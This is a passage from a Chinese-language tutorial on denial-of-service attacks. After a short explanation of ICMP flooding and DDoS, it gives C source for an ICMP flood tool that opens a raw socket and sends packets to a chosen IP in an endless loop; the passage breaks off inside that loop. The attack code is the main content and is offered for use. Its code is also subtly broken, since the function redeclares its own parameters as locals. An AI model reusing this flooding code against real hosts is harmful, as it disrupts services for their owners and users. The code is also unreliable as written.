拒绝服务攻击(DoS)企图通过使被攻击的计算机资源消耗殆尽从而不能再提供服务,拒绝服务攻击是最容易实施的攻击行为。中美黑客大战中的中国黑客一般对美进行的就是拒绝服务攻击,其技术手段大多不够高明。
大量的 ICMP消息发送给目标系统,使得它不能够对合法的服务请求做出响应。中美黑客大战中的多数中国黑客采用的正是此项技术。ICMP FLOOD攻击实际上是一种两败俱伤的攻击方式,在主机"疯狂"地向攻击目标发送ICMP消息的时候,主机也在消耗自身的系统资源。如果自身的网络资源小于目标的话,这种攻击就是"蚍蜉撼大树"。因此,ICMP FLOOD攻击为了达到很好的效果,往往要联合多台机器同时攻击同一台机器,从而形成分布式拒绝服务攻击(DDoS)。
int icmpFlood(int PacketSize, char *DestIp, int type, int code)
{
int datasize, ErrorCode;
int TimeOut = 2000, SendSEQ = 0, PacketSize = 32, type = 8, code = 0, counter = 0;
char SendBuf[65535] = { 0 };
WSADATA wsaData;
SOCKET SockRaw = (SOCKET)NULL;
struct sockaddr_in DestAddr;
ICMP_HEADER icmp_header;
if (PacketSize > 65500)
{
return FALSE;
}
if (type > 16)
{
return FALSE;
}
if ((ErrorCode = WSAStartup(MAKEWORD(2, 1), &wsaData)) != 0)
{
return FALSE;
}
if ((SockRaw = WSASocket(AF_INET, SOCK_RAW, IPPROTO_ICMP, NULL, 0,WSA_FLAG_OVERLAPPED)) == INVALID_SOCKET)
{
return FALSE;
}
ErrorCode = setsockopt(SockRaw, SOL_SOCKET, SO_SNDTIMEO, (char*) &TimeOut,sizeof(TimeOut));
if (ErrorCode == SOCKET_ERROR)
{
return FALSE;
}
printf("Starting...\n\n");
memset(&DestAddr, 0, sizeof(DestAddr));
DestAddr.sin_family = AF_INET;
DestAddr.sin_addr.s_addr = inet_addr(DestIp);
icmp_header.i_type = type;
icmp_header.i_code = code;
icmp_header.i_cksum = 0;
icmp_header.i_id = 2;
icmp_header.timestamp = GetTickCount();
icmp_header.i_seq = 999;
memcpy(SendBuf, &icmp_header, sizeof(icmp_header));
memset(SendBuf + sizeof(icmp_header), 'E', PacketSize);
icmp_header.i_cksum = checksum((unsigned short*)SendBuf, sizeof(icmp_header) + PacketSize);
datasize = sizeof(icmp_header) + PacketSize;
while (1)
{
printf("Sending 1024 packets...\n");
for (counter = 0; counter < 1024; counter++)